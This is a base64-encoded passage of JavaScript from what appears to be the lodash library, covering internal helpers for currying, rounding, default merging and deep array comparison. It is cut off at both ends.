Z1Bvc10gVGhlIGFyZ3VtZW50IHBvc2l0aW9ucyBvZiB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbYXJ5XSBUaGUgYXJpdHkgY2FwIG9mIGBmdW5jYC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2FyaXR5XSBUaGUgYXJpdHkgb2YgYGZ1bmNgLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHdyYXBwZWQgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlUmVjdXJyeShmdW5jLCBiaXRtYXNrLCB3cmFwRnVuYywgcGxhY2Vob2xkZXIsIHRoaXNBcmcsIHBhcnRpYWxzLCBob2xkZXJzLCBhcmdQb3MsIGFyeSwgYXJpdHkpIHtcbiAgICAgIHZhciBpc0N1cnJ5ID0gYml0bWFzayAmIFdSQVBfQ1VSUllfRkxBRyxcbiAgICAgICAgICBuZXdIb2xkZXJzID0gaXNDdXJyeSA/IGhvbGRlcnMgOiB1bmRlZmluZWQsXG4gICAgICAgICAgbmV3SG9sZGVyc1JpZ2h0ID0gaXNDdXJyeSA/IHVuZGVmaW5lZCA6IGhvbGRlcnMsXG4gICAgICAgICAgbmV3UGFydGlhbHMgPSBpc0N1cnJ5ID8gcGFydGlhbHMgOiB1bmRlZmluZWQsXG4gICAgICAgICAgbmV3UGFydGlhbHNSaWdodCA9IGlzQ3VycnkgPyB1bmRlZmluZWQgOiBwYXJ0aWFscztcblxuICAgICAgYml0bWFzayB8PSAoaXNDdXJyeSA/IFdSQVBfUEFSVElBTF9GTEFHIDogV1JBUF9QQVJUSUFMX1JJR0hUX0ZMQUcpO1xuICAgICAgYml0bWFzayAmPSB+KGlzQ3VycnkgPyBXUkFQX1BBUlRJQUxfUklHSFRfRkxBRyA6IFdSQVBfUEFSVElBTF9GTEFHKTtcblxuICAgICAgaWYgKCEoYml0bWFzayAmIFdSQVBfQ1VSUllfQk9VTkRfRkxBRykpIHtcbiAgICAgICAgYml0bWFzayAmPSB+KFdSQVBfQklORF9GTEFHIHwgV1JBUF9CSU5EX0tFWV9GTEFHKTtcbiAgICAgIH1cbiAgICAgIHZhciBuZXdEYXRhID0gW1xuICAgICAgICBmdW5jLCBiaXRtYXNrLCB0aGlzQXJnLCBuZXdQYXJ0aWFscywgbmV3SG9sZGVycywgbmV3UGFydGlhbHNSaWdodCxcbiAgICAgICAgbmV3SG9sZGVyc1JpZ2h0LCBhcmdQb3MsIGFyeSwgYXJpdHlcbiAgICAgIF07XG5cbiAgICAgIHZhciByZXN1bHQgPSB3cmFwRnVuYy5hcHBseSh1bmRlZmluZWQsIG5ld0RhdGEpO1xuICAgICAgaWYgKGlzTGF6aWFibGUoZnVuYykpIHtcbiAgICAgICAgc2V0RGF0YShyZXN1bHQsIG5ld0RhdGEpO1xuICAgICAgfVxuICAgICAgcmVzdWx0LnBsYWNlaG9sZGVyID0gcGxhY2Vob2xkZXI7XG4gICAgICByZXR1cm4gc2V0V3JhcFRvU3RyaW5nKHJlc3VsdCwgZnVuYywgYml0bWFzayk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIGxpa2UgYF8ucm91bmRgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gbWV0aG9kTmFtZSBUaGUgbmFtZSBvZiB0aGUgYE1hdGhgIG1ldGhvZCB0byB1c2Ugd2hlbiByb3VuZGluZy5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyByb3VuZCBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjcmVhdGVSb3VuZChtZXRob2ROYW1lKSB7XG4gICAgICB2YXIgZnVuYyA9IE1hdGhbbWV0aG9kTmFtZV07XG4gICAgICByZXR1cm4gZnVuY3Rpb24obnVtYmVyLCBwcmVjaXNpb24pIHtcbiAgICAgICAgbnVtYmVyID0gdG9OdW1iZXIobnVtYmVyKTtcbiAgICAgICAgcHJlY2lzaW9uID0gcHJlY2lzaW9uID09IG51bGwgPyAwIDogbmF0aXZlTWluKHRvSW50ZWdlcihwcmVjaXNpb24pLCAyOTIpO1xuICAgICAgICBpZiAocHJlY2lzaW9uICYmIG5hdGl2ZUlzRmluaXRlKG51bWJlcikpIHtcbiAgICAgICAgICAvLyBTaGlmdCB3aXRoIGV4cG9uZW50aWFsIG5vdGF0aW9uIHRvIGF2b2lkIGZsb2F0aW5nLXBvaW50IGlzc3Vlcy5cbiAgICAgICAgICAvLyBTZWUgW01ETl0oaHR0cHM6Ly9tZG4uaW8vcm91bmQjRXhhbXBsZXMpIGZvciBtb3JlIGRldGFpbHMuXG4gICAgICAgICAgdmFyIHBhaXIgPSAodG9TdHJpbmcobnVtYmVyKSArICdlJykuc3BsaXQoJ2UnKSxcbiAgICAgICAgICAgICAgdmFsdWUgPSBmdW5jKHBhaXJbMF0gKyAnZScgKyAoK3BhaXJbMV0gKyBwcmVjaXNpb24pKTtcblxuICAgICAgICAgIHBhaXIgPSAodG9TdHJpbmcodmFsdWUpICsgJ2UnKS5zcGxpdCgnZScpO1xuICAgICAgICAgIHJldHVybiArKHBhaXJbMF0gKyAnZScgKyAoK3BhaXJbMV0gLSBwcmVjaXNpb24pKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZnVuYyhudW1iZXIpO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgc2V0IG9iamVjdCBvZiBgdmFsdWVzYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gdmFsdWVzIFRoZSB2YWx1ZXMgdG8gYWRkIHRvIHRoZSBzZXQuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IHNldC5cbiAgICAgKi9cbiAgICB2YXIgY3JlYXRlU2V0ID0gIShTZXQgJiYgKDEgLyBzZXRUb0FycmF5KG5ldyBTZXQoWywtMF0pKVsxXSkgPT0gSU5GSU5JVFkpID8gbm9vcCA6IGZ1bmN0aW9uKHZhbHVlcykge1xuICAgICAgcmV0dXJuIG5ldyBTZXQodmFsdWVzKTtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGBfLnRvUGFpcnNgIG9yIGBfLnRvUGFpcnNJbmAgZnVuY3Rpb24uXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGtleXNGdW5jIFRoZSBmdW5jdGlvbiB0byBnZXQgdGhlIGtleXMgb2YgYSBnaXZlbiBvYmplY3QuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgcGFpcnMgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlVG9QYWlycyhrZXlzRnVuYykge1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKG9iamVjdCkge1xuICAgICAgICB2YXIgdGFnID0gZ2V0VGFnKG9iamVjdCk7XG4gICAgICAgIGlmICh0YWcgPT0gbWFwVGFnKSB7XG4gICAgICAgICAgcmV0dXJuIG1hcFRvQXJyYXkob2JqZWN0KTtcbiAgICAgICAgfVxuICAgICAgICBpZiAodGFnID09IHNldFRhZykge1xuICAgICAgICAgIHJldHVybiBzZXRUb1BhaXJzKG9iamVjdCk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGJhc2VUb1BhaXJzKG9iamVjdCwga2V5c0Z1bmMob2JqZWN0KSk7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGVpdGhlciBjdXJyaWVzIG9yIGludm9rZXMgYGZ1bmNgIHdpdGggb3B0aW9uYWxcbiAgICAgKiBgdGhpc2AgYmluZGluZyBhbmQgcGFydGlhbGx5IGFwcGxpZWQgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufHN0cmluZ30gZnVuYyBUaGUgZnVuY3Rpb24gb3IgbWV0aG9kIG5hbWUgdG8gd3JhcC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gYml0bWFzayBUaGUgYml0bWFzayBmbGFncy5cbiAgICAgKiAgICAxIC0gYF8uYmluZGBcbiAgICAgKiAgICAyIC0gYF8uYmluZEtleWBcbiAgICAgKiAgICA0IC0gYF8uY3VycnlgIG9yIGBfLmN1cnJ5UmlnaHRgIG9mIGEgYm91bmQgZnVuY3Rpb25cbiAgICAgKiAgICA4IC0gYF8uY3VycnlgXG4gICAgICogICAxNiAtIGBfLmN1cnJ5UmlnaHRgXG4gICAgICogICAzMiAtIGBfLnBhcnRpYWxgXG4gICAgICogICA2NCAtIGBfLnBhcnRpYWxSaWdodGBcbiAgICAgKiAgMTI4IC0gYF8ucmVhcmdgXG4gICAgICogIDI1NiAtIGBfLmFyeWBcbiAgICAgKiAgNTEyIC0gYF8uZmxpcGBcbiAgICAgKiBAcGFyYW0geyp9IFt0aGlzQXJnXSBUaGUgYHRoaXNgIGJpbmRpbmcgb2YgYGZ1bmNgLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFtwYXJ0aWFsc10gVGhlIGFyZ3VtZW50cyB0byBiZSBwYXJ0aWFsbHkgYXBwbGllZC5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbaG9sZGVyc10gVGhlIGBwYXJ0aWFsc2AgcGxhY2Vob2xkZXIgaW5kZXhlcy5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbYXJnUG9zXSBUaGUgYXJndW1lbnQgcG9zaXRpb25zIG9mIHRoZSBuZXcgZnVuY3Rpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFthcnldIFRoZSBhcml0eSBjYXAgb2YgYGZ1bmNgLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbYXJpdHldIFRoZSBhcml0eSBvZiBgZnVuY2AuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgd3JhcHBlZCBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjcmVhdGVXcmFwKGZ1bmMsIGJpdG1hc2ssIHRoaXNBcmcsIHBhcnRpYWxzLCBob2xkZXJzLCBhcmdQb3MsIGFyeSwgYXJpdHkpIHtcbiAgICAgIHZhciBpc0JpbmRLZXkgPSBiaXRtYXNrICYgV1JBUF9CSU5EX0tFWV9GTEFHO1xuICAgICAgaWYgKCFpc0JpbmRLZXkgJiYgdHlwZW9mIGZ1bmMgIT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICB9XG4gICAgICB2YXIgbGVuZ3RoID0gcGFydGlhbHMgPyBwYXJ0aWFscy5sZW5ndGggOiAwO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgYml0bWFzayAmPSB+KFdSQVBfUEFSVElBTF9GTEFHIHwgV1JBUF9QQVJUSUFMX1JJR0hUX0ZMQUcpO1xuICAgICAgICBwYXJ0aWFscyA9IGhvbGRlcnMgPSB1bmRlZmluZWQ7XG4gICAgICB9XG4gICAgICBhcnkgPSBhcnkgPT09IHVuZGVmaW5lZCA/IGFyeSA6IG5hdGl2ZU1heCh0b0ludGVnZXIoYXJ5KSwgMCk7XG4gICAgICBhcml0eSA9IGFyaXR5ID09PSB1bmRlZmluZWQgPyBhcml0eSA6IHRvSW50ZWdlcihhcml0eSk7XG4gICAgICBsZW5ndGggLT0gaG9sZGVycyA/IGhvbGRlcnMubGVuZ3RoIDogMDtcblxuICAgICAgaWYgKGJpdG1hc2sgJiBXUkFQX1BBUlRJQUxfUklHSFRfRkxBRykge1xuICAgICAgICB2YXIgcGFydGlhbHNSaWdodCA9IHBhcnRpYWxzLFxuICAgICAgICAgICAgaG9sZGVyc1JpZ2h0ID0gaG9sZGVycztcblxuICAgICAgICBwYXJ0aWFscyA9IGhvbGRlcnMgPSB1bmRlZmluZWQ7XG4gICAgICB9XG4gICAgICB2YXIgZGF0YSA9IGlzQmluZEtleSA/IHVuZGVmaW5lZCA6IGdldERhdGEoZnVuYyk7XG5cbiAgICAgIHZhciBuZXdEYXRhID0gW1xuICAgICAgICBmdW5jLCBiaXRtYXNrLCB0aGlzQXJnLCBwYXJ0aWFscywgaG9sZGVycywgcGFydGlhbHNSaWdodCwgaG9sZGVyc1JpZ2h0LFxuICAgICAgICBhcmdQb3MsIGFyeSwgYXJpdHlcbiAgICAgIF07XG5cbiAgICAgIGlmIChkYXRhKSB7XG4gICAgICAgIG1lcmdlRGF0YShuZXdEYXRhLCBkYXRhKTtcbiAgICAgIH1cbiAgICAgIGZ1bmMgPSBuZXdEYXRhWzBdO1xuICAgICAgYml0bWFzayA9IG5ld0RhdGFbMV07XG4gICAgICB0aGlzQXJnID0gbmV3RGF0YVsyXTtcbiAgICAgIHBhcnRpYWxzID0gbmV3RGF0YVszXTtcbiAgICAgIGhvbGRlcnMgPSBuZXdEYXRhWzRdO1xuICAgICAgYXJpdHkgPSBuZXdEYXRhWzldID0gbmV3RGF0YVs5XSA9PT0gdW5kZWZpbmVkXG4gICAgICAgID8gKGlzQmluZEtleSA/IDAgOiBmdW5jLmxlbmd0aClcbiAgICAgICAgOiBuYXRpdmVNYXgobmV3RGF0YVs5XSAtIGxlbmd0aCwgMCk7XG5cbiAgICAgIGlmICghYXJpdHkgJiYgYml0bWFzayAmIChXUkFQX0NVUlJZX0ZMQUcgfCBXUkFQX0NVUlJZX1JJR0hUX0ZMQUcpKSB7XG4gICAgICAgIGJpdG1hc2sgJj0gfihXUkFQX0NVUlJZX0ZMQUcgfCBXUkFQX0NVUlJZX1JJR0hUX0ZMQUcpO1xuICAgICAgfVxuICAgICAgaWYgKCFiaXRtYXNrIHx8IGJpdG1hc2sgPT0gV1JBUF9CSU5EX0ZMQUcpIHtcbiAgICAgICAgdmFyIHJlc3VsdCA9IGNyZWF0ZUJpbmQoZnVuYywgYml0bWFzaywgdGhpc0FyZyk7XG4gICAgICB9IGVsc2UgaWYgKGJpdG1hc2sgPT0gV1JBUF9DVVJSWV9GTEFHIHx8IGJpdG1hc2sgPT0gV1JBUF9DVVJSWV9SSUdIVF9GTEFHKSB7XG4gICAgICAgIHJlc3VsdCA9IGNyZWF0ZUN1cnJ5KGZ1bmMsIGJpdG1hc2ssIGFyaXR5KTtcbiAgICAgIH0gZWxzZSBpZiAoKGJpdG1hc2sgPT0gV1JBUF9QQVJUSUFMX0ZMQUcgfHwgYml0bWFzayA9PSAoV1JBUF9CSU5EX0ZMQUcgfCBXUkFQX1BBUlRJQUxfRkxBRykpICYmICFob2xkZXJzLmxlbmd0aCkge1xuICAgICAgICByZXN1bHQgPSBjcmVhdGVQYXJ0aWFsKGZ1bmMsIGJpdG1hc2ssIHRoaXNBcmcsIHBhcnRpYWxzKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHJlc3VsdCA9IGNyZWF0ZUh5YnJpZC5hcHBseSh1bmRlZmluZWQsIG5ld0RhdGEpO1xuICAgICAgfVxuICAgICAgdmFyIHNldHRlciA9IGRhdGEgPyBiYXNlU2V0RGF0YSA6IHNldERhdGE7XG4gICAgICByZXR1cm4gc2V0V3JhcFRvU3RyaW5nKHNldHRlcihyZXN1bHQsIG5ld0RhdGEpLCBmdW5jLCBiaXRtYXNrKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBVc2VkIGJ5IGBfLmRlZmF1bHRzYCB0byBjdXN0b21pemUgaXRzIGBfLmFzc2lnbkluYCB1c2UgdG8gYXNzaWduIHByb3BlcnRpZXNcbiAgICAgKiBvZiBzb3VyY2Ugb2JqZWN0cyB0byB0aGUgZGVzdGluYXRpb24gb2JqZWN0IGZvciBhbGwgZGVzdGluYXRpb24gcHJvcGVydGllc1xuICAgICAqIHRoYXQgcmVzb2x2ZSB0byBgdW5kZWZpbmVkYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSBvYmpWYWx1ZSBUaGUgZGVzdGluYXRpb24gdmFsdWUuXG4gICAgICogQHBhcmFtIHsqfSBzcmNWYWx1ZSBUaGUgc291cmNlIHZhbHVlLlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgcHJvcGVydHkgdG8gYXNzaWduLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIHBhcmVudCBvYmplY3Qgb2YgYG9ialZhbHVlYC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgdmFsdWUgdG8gYXNzaWduLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGN1c3RvbURlZmF1bHRzQXNzaWduSW4ob2JqVmFsdWUsIHNyY1ZhbHVlLCBrZXksIG9iamVjdCkge1xuICAgICAgaWYgKG9ialZhbHVlID09PSB1bmRlZmluZWQgfHxcbiAgICAgICAgICAoZXEob2JqVmFsdWUsIG9iamVjdFByb3RvW2tleV0pICYmICFoYXNPd25Qcm9wZXJ0eS5jYWxsKG9iamVjdCwga2V5KSkpIHtcbiAgICAgICAgcmV0dXJuIHNyY1ZhbHVlO1xuICAgICAgfVxuICAgICAgcmV0dXJuIG9ialZhbHVlO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFVzZWQgYnkgYF8uZGVmYXVsdHNEZWVwYCB0byBjdXN0b21pemUgaXRzIGBfLm1lcmdlYCB1c2UgdG8gbWVyZ2Ugc291cmNlXG4gICAgICogb2JqZWN0cyBpbnRvIGRlc3RpbmF0aW9uIG9iamVjdHMgdGhhdCBhcmUgcGFzc2VkIHRocnUuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gb2JqVmFsdWUgVGhlIGRlc3RpbmF0aW9uIHZhbHVlLlxuICAgICAqIEBwYXJhbSB7Kn0gc3JjVmFsdWUgVGhlIHNvdXJjZSB2YWx1ZS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHByb3BlcnR5IHRvIG1lcmdlLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIHBhcmVudCBvYmplY3Qgb2YgYG9ialZhbHVlYC5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc291cmNlIFRoZSBwYXJlbnQgb2JqZWN0IG9mIGBzcmNWYWx1ZWAuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IFtzdGFja10gVHJhY2tzIHRyYXZlcnNlZCBzb3VyY2UgdmFsdWVzIGFuZCB0aGVpciBtZXJnZWRcbiAgICAgKiAgY291bnRlcnBhcnRzLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSB2YWx1ZSB0byBhc3NpZ24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3VzdG9tRGVmYXVsdHNNZXJnZShvYmpWYWx1ZSwgc3JjVmFsdWUsIGtleSwgb2JqZWN0LCBzb3VyY2UsIHN0YWNrKSB7XG4gICAgICBpZiAoaXNPYmplY3Qob2JqVmFsdWUpICYmIGlzT2JqZWN0KHNyY1ZhbHVlKSkge1xuICAgICAgICAvLyBSZWN1cnNpdmVseSBtZXJnZSBvYmplY3RzIGFuZCBhcnJheXMgKHN1c2NlcHRpYmxlIHRvIGNhbGwgc3RhY2sgbGltaXRzKS5cbiAgICAgICAgc3RhY2suc2V0KHNyY1ZhbHVlLCBvYmpWYWx1ZSk7XG4gICAgICAgIGJhc2VNZXJnZShvYmpWYWx1ZSwgc3JjVmFsdWUsIHVuZGVmaW5lZCwgY3VzdG9tRGVmYXVsdHNNZXJnZSwgc3RhY2spO1xuICAgICAgICBzdGFja1snZGVsZXRlJ10oc3JjVmFsdWUpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIG9ialZhbHVlO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFVzZWQgYnkgYF8ub21pdGAgdG8gY3VzdG9taXplIGl0cyBgXy5jbG9uZURlZXBgIHVzZSB0byBvbmx5IGNsb25lIHBsYWluXG4gICAgICogb2JqZWN0cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHByb3BlcnR5IHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHVuY2xvbmVkIHZhbHVlIG9yIGB1bmRlZmluZWRgIHRvIGRlZmVyIGNsb25pbmcgdG8gYF8uY2xvbmVEZWVwYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjdXN0b21PbWl0Q2xvbmUodmFsdWUpIHtcbiAgICAgIHJldHVybiBpc1BsYWluT2JqZWN0KHZhbHVlKSA/IHVuZGVmaW5lZCA6IHZhbHVlO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgYmFzZUlzRXF1YWxEZWVwYCBmb3IgYXJyYXlzIHdpdGggc3VwcG9ydCBmb3JcbiAgICAgKiBwYXJ0aWFsIGRlZXAgY29tcGFyaXNvbnMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IG90aGVyIFRoZSBvdGhlciBhcnJheSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBiaXRtYXNrIFRoZSBiaXRtYXNrIGZsYWdzLiBTZWUgYGJhc2VJc0VxdWFsYCBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGN1c3RvbWl6ZXIgVGhlIGZ1bmN0aW9uIHRvIGN1c3RvbWl6ZSBjb21wYXJpc29ucy5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBlcXVhbEZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGRldGVybWluZSBlcXVpdmFsZW50cyBvZiB2YWx1ZXMuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHN0YWNrIFRyYWNrcyB0cmF2ZXJzZWQgYGFycmF5YCBhbmQgYG90aGVyYCBvYmplY3RzLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiB0aGUgYXJyYXlzIGFyZSBlcXVpdmFsZW50LCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZXF1YWxBcnJheXMoYXJyYXksIG90aGVyLCBiaXRtYXNrLCBjdXN0b21pemVyLCBlcXVhbEZ1bmMsIHN0YWNrKSB7XG4gICAgICB2YXIgaXNQYXJ0aWFsID0gYml0bWFzayAmIENPTVBBUkVfUEFSVElBTF9GTEFHLFxuICAgICAgICAgIGFyckxlbmd0aCA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgICBvdGhMZW5ndGggPSBvdGhlci5sZW5ndGg7XG5cbiAgICAgIGlmIChhcnJMZW5ndGggIT0gb3RoTGVuZ3RoICYmICEoaXNQYXJ0aWFsICYmIG90aExlbmd0aCA+IGFyckxlbmd0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgICAgLy8gQ2hlY2sgdGhhdCBjeWNsaWMgdmFsdWVzIGFyZSBlcXVhbC5cbiAgICAgIHZhciBhcnJTdGFja2VkID0gc3RhY2suZ2V0KGFycmF5KTtcbiAgICAgIHZhciBvdGhTdGFja2VkID0gc3RhY2suZ2V0KG90aGVyKTtcbiAgICAgIGlmIChhcnJTdGFja2VkICYmIG90aFN0YWNrZWQpIHtcbiAgICAgICAgcmV0dXJuIGFyclN0YWNrZWQgPT0gb3RoZXIgJiYgb3RoU3RhY2tlZCA9PSBhcnJheTtcbiAgICAgIH1cbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIHJlc3VsdCA9IHRydWUsXG4gICAgICAgICAgc2VlbiA9IChiaXRtYXNrICYgQ09NUEFSRV9VTk9SREVSRURfRkxBRykgPyBuZXcgU2V0Q2FjaGUgOiB1bmRlZmluZWQ7XG5cbiAgICAgIHN0YWNrLnNldChhcnJheSwgb3RoZXIpO1xuICAgICAgc3RhY2suc2V0KG90aGVyLCBhcnJheSk7XG5cbiAgICAgIC8vIElnbm9yZSBub24taW5kZXggcHJvcGVydGllcy5cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgYXJyTGVuZ3RoKSB7XG4gICAgICAgIHZhciBhcnJWYWx1ZSA9IGFycmF5W2luZGV4XSxcbiAgICAgICAgICAgIG90aFZhbHVlID0gb3RoZXJbaW5kZXhdO1xuXG4gICAgICAgIGlmIChjdXN0b21pemVyKSB7XG4gICAgICAgICAgdmFyIGNvbXBhcmVkID0gaXNQYXJ0aWFsXG4gICAgICAgICAgICA/IGN1c3RvbWl6ZXIob3RoVmFsdWUsIGFyclZhbHVlLCBpbmRleCwgb3RoZXIsIGFycmF5LCBzdGFjaylcbiAgICAgICAgICAgIDogY3VzdG9taXplcihhcnJWYWx1ZSwgb3RoVmFsdWUsIGluZGV4LCBhcnJheSwgb3RoZXIsIHN0YWNrKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoY29tcGFyZWQgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIGlmIChjb21wYXJlZCkge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgICAgfVxuICAgICAgICAgIHJlc3VsdCA9IGZhbHNlO1xuICAgICAgICAgIGJyZWFrO1xuICAgICAgICB9XG4gICAgICAgIC8vIFJlY3Vyc2l2ZWx5IGNvbXBhcmUgYXJyYXlzIChzdXNjZXB0aWJsZSB0byBjYWxsIHN0YWNrIGxpbWl0cykuXG4gICAgICAgIGlmIChzZWVuKSB7XG4gICAgICAgICAgaWYgKCFhcnJheVNvbWUob3RoZXIsIGZ1bmN0aW9uKG90aFZhbHVlLCBvdGhJbmRleCkge1xuICAgICAgICAgICAgICAgIGlmICghY2FjaGVIYXMoc2Vlbiwgb3RoSW5kZXgpICYmXG4gICAgICAgICAgICAgICAgICAgIChhcnJWYWx1ZSA9PT0gb3RoVmFsdWUgfHwgZXF1YWxGdW5jKGFyclZhbHVlLCBvdGhWYWx1ZSwgYml0bWFzaywgY3VzdG9taXplciwgc3RhY2spKSkge1xuICAgICAgICAgICAgICAgICAgcmV0dXJuIHNlZW4ucHVzaChvdGhJbmRleCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICB9KSkge1xuICAgICAgICAgICAgcmVzdWx0ID0gZmFsc2U7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSBpZiAoIShcbiAgICAgICAgICAgICAgYXJyVmFsdWUgPT09IG90aFZhbHVlIHx8XG4gICAgICAgICAgICAgICAgZXF1YWxGdW5jKGFyclZhbHVlLCBvdGhWYWx1ZSwgYml0bWFzaywgY3VzdG9taXplciwgc3RhY2spXG4gICAgICAgICAgICApKSB7XG4gICAgICAgICAgcmVzdWx0ID0gZmFsc2U7XG4gICAgICAgICAgYnJlYWs7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHN0YWNrWydkZWxldGUnXShhcnJheSk7XG4gICAgICBzdGFja1snZGVsZXRlJ10ob3RoZXIpO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBBIHNwZWNpYWxpemVkIHZlcnNpb24gb2YgYGJhc2VJc0VxdWFsRGVlcGAgZm9yIGNvbXBhcmluZyBvYmplY3RzIG9mXG4gICAgICogdGhlIHNhbWUgYHRvU3RyaW5nVGFnYC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIGZ1bmN0aW9uIG9ubHkgc3VwcG9ydHMgY29tcGFyaW5nIHZhbHVlcyB3aXRoIHRhZ3Mgb2ZcbiAgICAgKiBgQm9vbGVhbmAsIGBEYXRlYCwgYEVycm9yYCwgYE51bWJlcmAsIGBSZWdFeHBgLCBvciBgU3RyaW5nYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG90aGVyIFRoZSBvdGhlciBvYmplY3QgdG8gY29tcGFyZS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gdGFnIFRoZSBgdG9TdHJpbmdUYWdgIG9mIHRoZSBvYmplY3RzIHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGJpdG1hc2sgVGhlIGJpdG1hc2sgZmxhZ3MuIFNlZSBgYmFzZUlzRXF1YWxgIGZvciBtb3JlIGRldGFpbHMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gY3VzdG9taXplciBUaGUgZnVuY3Rpb24gdG8gY